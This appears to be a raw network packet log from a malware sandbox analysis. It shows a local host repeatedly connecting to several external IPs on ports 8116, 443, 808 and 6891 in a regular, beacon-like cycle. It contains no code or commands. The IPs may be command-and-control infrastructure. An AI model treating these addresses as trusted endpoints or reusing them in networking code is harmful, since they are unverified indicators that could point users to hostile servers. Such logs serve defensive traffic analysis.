Oct 28, 2021 05:06:14.497076988 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.545526981 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.545684099 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.546488047 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.551345110 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.565931082 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.595093966 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.595263958 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.595345020 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.595894098 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.599700928 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.599822998 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.603559971 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.618062973 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.618165970 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.618804932 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.647689104 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.648941040 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.648957014 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.671201944 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.671412945 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.671494007 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.672055006 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.675896883 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.676034927 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.727972031 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.846673965 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.846690893 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.846766949 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.846817970 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.854161024 CEST	50106	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.898139954 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.898173094 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.898513079 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.901972055 CEST	50107	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:14.902131081 CEST	8116	50106	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.954144001 CEST	8116	50107	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:14.966495991 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:14.966557026 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:14.966686964 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:14.977363110 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:14.977391005 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.048451900 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.048486948 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.048580885 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.049114943 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.049125910 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.501285076 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.501465082 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.502039909 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.502058029 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.505595922 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.505618095 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.505733013 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.505744934 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.569253922 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.569463968 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.570075989 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.570086002 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.575325966 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.575335026 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:15.575412035 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:15.575421095 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.220514059 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.220577002 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:16.220583916 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.220638990 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:16.226309061 CEST	50108	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:16.226335049 CEST	443	50108	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.281126976 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.281203985 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.281222105 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:16.281264067 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:16.285414934 CEST	50109	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:16.285434961 CEST	443	50109	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:16.372041941 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.412069082 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.539087057 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.539196014 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.540316105 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.573091984 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.574189901 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.574803114 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.707330942 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.707351923 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.707441092 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.707967043 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.711610079 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.711791992 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.735632896 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.735718966 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.735860109 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.736650944 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.740938902 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.741107941 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:16.876771927 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.878545046 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.878566980 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.880717993 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.897964001 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.901757002 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.901782990 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:16.901886940 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.258776903 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.258804083 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.258898973 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:17.266988039 CEST	50110	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:17.285656929 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.285693884 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.285896063 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:17.288409948 CEST	50111	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:17.388509989 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.408409119 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.434190989 CEST	808	50110	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.450944901 CEST	808	50111	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:17.553808928 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.553975105 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.554666996 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.573920965 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.574017048 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.574615955 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.719841003 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.719971895 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.720175982 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.720943928 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.728065968 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.728280067 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.739708900 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.739820004 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.740081072 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.740634918 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.748568058 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.748925924 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:17.893383026 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.893412113 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.893419981 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.913875103 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.914030075 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:17.914043903 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.288815975 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.288845062 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.289077997 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:18.294110060 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.294136047 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.294327974 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:18.297504902 CEST	50113	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:18.299462080 CEST	50112	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:18.419189930 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.420275927 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.462754965 CEST	6891	50113	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.464682102 CEST	6891	50112	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:18.468306065 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.468498945 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.469177961 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.472620010 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.472760916 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.473407984 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.517838001 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.518052101 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.518225908 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.518768072 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.522826910 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.522964954 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.524951935 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.524993896 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.525135994 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.525692940 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.535432100 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.535563946 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.571966887 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.572684050 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.587137938 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.587522030 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.741364956 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.741434097 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.741673946 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.748181105 CEST	50114	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.771300077 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.771358013 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.771379948 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.771426916 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.781954050 CEST	50115	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:18.797005892 CEST	8116	50114	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.833868980 CEST	8116	50115	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:18.905682087 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:18.905747890 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:18.905893087 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:18.907223940 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:18.907278061 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:18.911221027 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:18.911272049 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:18.911396027 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:18.911973953 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:18.911998987 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.441764116 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.441888094 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.442678928 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.442696095 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.445275068 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.445374966 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.446630001 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.446645975 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.447154045 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.447170019 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.447374105 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.447391987 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.450110912 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.450125933 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:19.450208902 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:19.450218916 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.153508902 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.153606892 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.153781891 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:20.160214901 CEST	50116	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:20.160255909 CEST	443	50116	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.162978888 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.163059950 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.163535118 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:20.163561106 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:20.166505098 CEST	50117	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:20.166538954 CEST	443	50117	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:20.300837040 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.309760094 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.461759090 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.462071896 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.463185072 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.470815897 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.471003056 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.472209930 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.624195099 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.624243021 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.624376059 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.625144958 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.632342100 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.632523060 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.633060932 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.633250952 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.633328915 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.634766102 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.640234947 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.640382051 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:20.785990000 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.792983055 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.793019056 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.793164968 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.795561075 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.801071882 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.801115036 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.801142931 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.801170111 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:20.801194906 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.181130886 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.181196928 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.181396008 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:21.184492111 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.184540033 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.184655905 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:21.184727907 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:21.190613985 CEST	50118	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:21.193578959 CEST	50119	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:21.315790892 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.318172932 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.351141930 CEST	808	50118	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.354197979 CEST	808	50119	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:21.482321024 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.482516050 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.483664036 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.484447956 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.484600067 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.485693932 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.650849104 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.650875092 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.650990009 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.651671886 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.651933908 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.652050018 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.652235031 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.653541088 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.657603979 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.657754898 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.657800913 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.657962084 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:21.824098110 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.824161053 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.824182034 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.824208021 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.824225903 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:21.824250937 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.204246044 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.204272985 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.204315901 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:22.204376936 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:22.207333088 CEST	50121	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:22.216398001 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.216422081 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.216476917 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:22.223306894 CEST	50120	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:22.330297947 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.342394114 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.373692989 CEST	6891	50121	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.381401062 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.381532907 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.382294893 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.389811039 CEST	6891	50120	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:22.389839888 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.390666008 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.391530037 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.433056116 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.433845997 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.434003115 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.434473038 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.438291073 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.438415051 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.438874960 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.439109087 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.439699888 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.439721107 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.451052904 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.451155901 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.489309072 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.489897013 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.498471022 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.499028921 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.526462078 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.539891005 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.660573006 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.660959005 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.660968065 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.661006927 CEST	50122	8116	192.168.2.3	185.56.219.47
